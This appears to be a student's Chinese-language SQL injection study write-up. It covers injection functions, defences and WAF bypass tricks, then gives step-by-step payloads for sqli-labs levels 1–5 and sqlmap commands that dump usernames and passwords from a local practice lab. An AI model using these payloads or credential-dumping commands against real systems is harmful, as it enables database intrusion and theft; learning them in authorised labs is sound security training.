目录
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入原理
SQL注入(SQL Injection)是一种针对Web程序中数据库层的安全漏洞攻击手段。其原理在于,攻击者通过在Web表单的输入域或页面请求中插入精心构造的恶意SQL命令,使服务器在执行SQL语句时,将这些恶意命令当作正常SQL语句的一部分来执行,从而达到对数据库的非法操作,如查询、插入、更新、删除等。SQL注入的发生往往是因为程序对用户输入数据的合法性没有进行严格的判断和处理,导致攻击者可以篡改原有的SQL语句结构。
SQL注入常用函数及含义
SQL注入中常用的函数包括但不限于以下几种:
函数名 | 含义 |
---|---|
version() | 返回当前数据库的版本号。 |
user() | 返回当前数据库的用户名。 |
database() | 返回当前数据库的名称。 |
concat() | 用于连接两个或多个字符串。 |
group_concat() | 将查询产生的同一个分组的值连接起来,返回一个字符串结果。 |
length() | 返回字符串的长度。 |
left() 、right() | left(str,num) 返回字符串str 最左边的num 个字符,right() 与之相反。 |
substr() 、substring() | 截取字符串中的一部分。 |
sleep() | 使数据库执行语句时暂停一段时间。 |
if() | 根据条件执行不同的SQL语句或返回不同的值。 |
floor() | 向下取整函数,常用于报错注入中构造特定错误。 |
rand() | 返回随机数,常用于报错注入中构造不确定的错误输出。 |
exp() | 指数函数,常用于报错注入中通过产生溢出错误来获取数据。 |
updatexml() | 更新XML文档中的数据,常用于报错注入中通过XML错误获取数据。 |
extractvalue() | 从XML文档中提取值,同样常用于报错注入。 |
SQL注入防御手段
为了防止SQL注入攻击,可以采取以下防御手段:
-
使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一。通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构。
-
使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。
-
使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。
-
验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。
-
使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。
-
限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。
-
定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。
-
使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。
-
定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。
SQL注入常用绕过WAF的方法
攻击者为了绕过WAF的检测,可能会采用以下方法:
-
注释符号绕过:使用SQL注释符号(如
--
、/**/
、#
)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。 -
编码绕过:使用不同的字符编码(如URL编码、Unicode编码)来隐藏恶意SQL代码。
-
大小写绕过:利用数据库系统对大小写不敏感的特性,将SQL关键字的大小写进行变换,以绕过基于大小写的过滤器。
-
特殊字符绕过:通过构造特殊的SQL语句,利用引号等字符来绕过WAF的检测。
-
逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,使用盲注等技术来绕过WAF的检测。
2.sqli-labs通关前5关,并写出解题步骤
1.Level1
过程代码如下:
?id=1
?id=2
?id=1'
?id=1'--+
?id=1'order by 3 --+
?id=1'order by 4 --+
?id=-1'union select 1,2,3--+
?id=-1'union select 1,database(),version()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.Level2
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
3.Level3
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
4.Level4
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
5.Level5
?id=1'and length((select database()))>9--+
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
?id=1' and length((select group_concat(username,password) from users))>109--+
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
3.总结SQLi的手工注入的步骤
SQLi(SQL注入)的手工注入步骤通常包括一系列精心设计的查询和测试,旨在绕过应用的安全措施,获取或操作数据库中的敏感信息。以下是一个概括性的手工SQL注入步骤总结:
1. 判断注入点
- 观察输入:首先,观察应用程序中的输入点,如URL参数、表单输入等,判断这些输入点是否可能接受并执行SQL语句。
- 测试注入点:通过输入特殊字符(如单引号
'
、双破折号--
、注释符号#
等)尝试触发数据库错误,以判断该点是否存在SQL注入漏洞。
2. 确定注入类型
- 数字型注入:通过输入数字并在其后添加SQL语句片段(如
1' AND 1=1--
)进行测试。 - 字符型注入:如果输入被单引号或双引号包裹,则可能是字符型注入。尝试添加闭合引号并注入SQL语句。
- 布尔型注入:基于真/假响应(如返回不同的页面或错误消息)来推断SQL语句的执行结果。
- 时间盲注:基于时间延迟来判断SQL语句是否执行成功。
3. 猜解字段数量
- 使用
ORDER BY
语句尝试不同的列数,直到触发数据库错误,从而确定表中的字段数量。
4. 判断数据回显位置
- 使用
UNION SELECT
语句联合查询,将恶意SQL查询的结果与原始查询的结果合并,通过调整UNION SELECT
语句中的字段数量,找到数据回显的位置。
5. 信息收集
- 获取数据库版本:使用
SELECT version()
等函数获取数据库版本信息。 - 获取数据库名:使用
SELECT database()
函数获取当前数据库名。 - 获取表名和列名:
- 通过查询
information_schema
数据库中的tables
表和columns
表,可以获取数据库中所有表名和列名。 - 例如,
SELECT table_name FROM information_schema.tables WHERE table_schema = '数据库名'
用于获取表名;SELECT column_name FROM information_schema.columns WHERE table_name = '表名'
用于获取列名。
- 通过查询
6. 提取数据
- 确定了数据库名、表名和列名后,使用
SELECT
语句提取所需的数据。 - 例如,
SELECT username, password FROM users
用于从users
表中提取username
和password
字段的数据。
7. 绕过验证和提权
- 尝试利用数据库中的存储过程、函数或其他数据库特性进行提权操作。
- 绕过应用程序的登录验证机制,通过注入SQL语句直接登录系统。
注意事项
- 在进行SQL注入时,务必遵守法律法规和道德准则,仅在授权或合法的测试环境中进行。
- 手工SQL注入需要耐心和细致的操作,对SQL语言和数据库结构有深入的理解。
- 随着安全技术的发展,现代应用程序通常会采用各种安全措施来防御SQL注入攻击,因此在实际攻击中可能会遇到各种挑战和困难。
4.使用sqlmap通过或验证第六关
输入:
python .\sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 --batch --dbs
获取表名:
python .\sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security --tables
获取列:
python .\sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security -T users --colum
获取数据:
python .\sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security -T users -C username,password --dump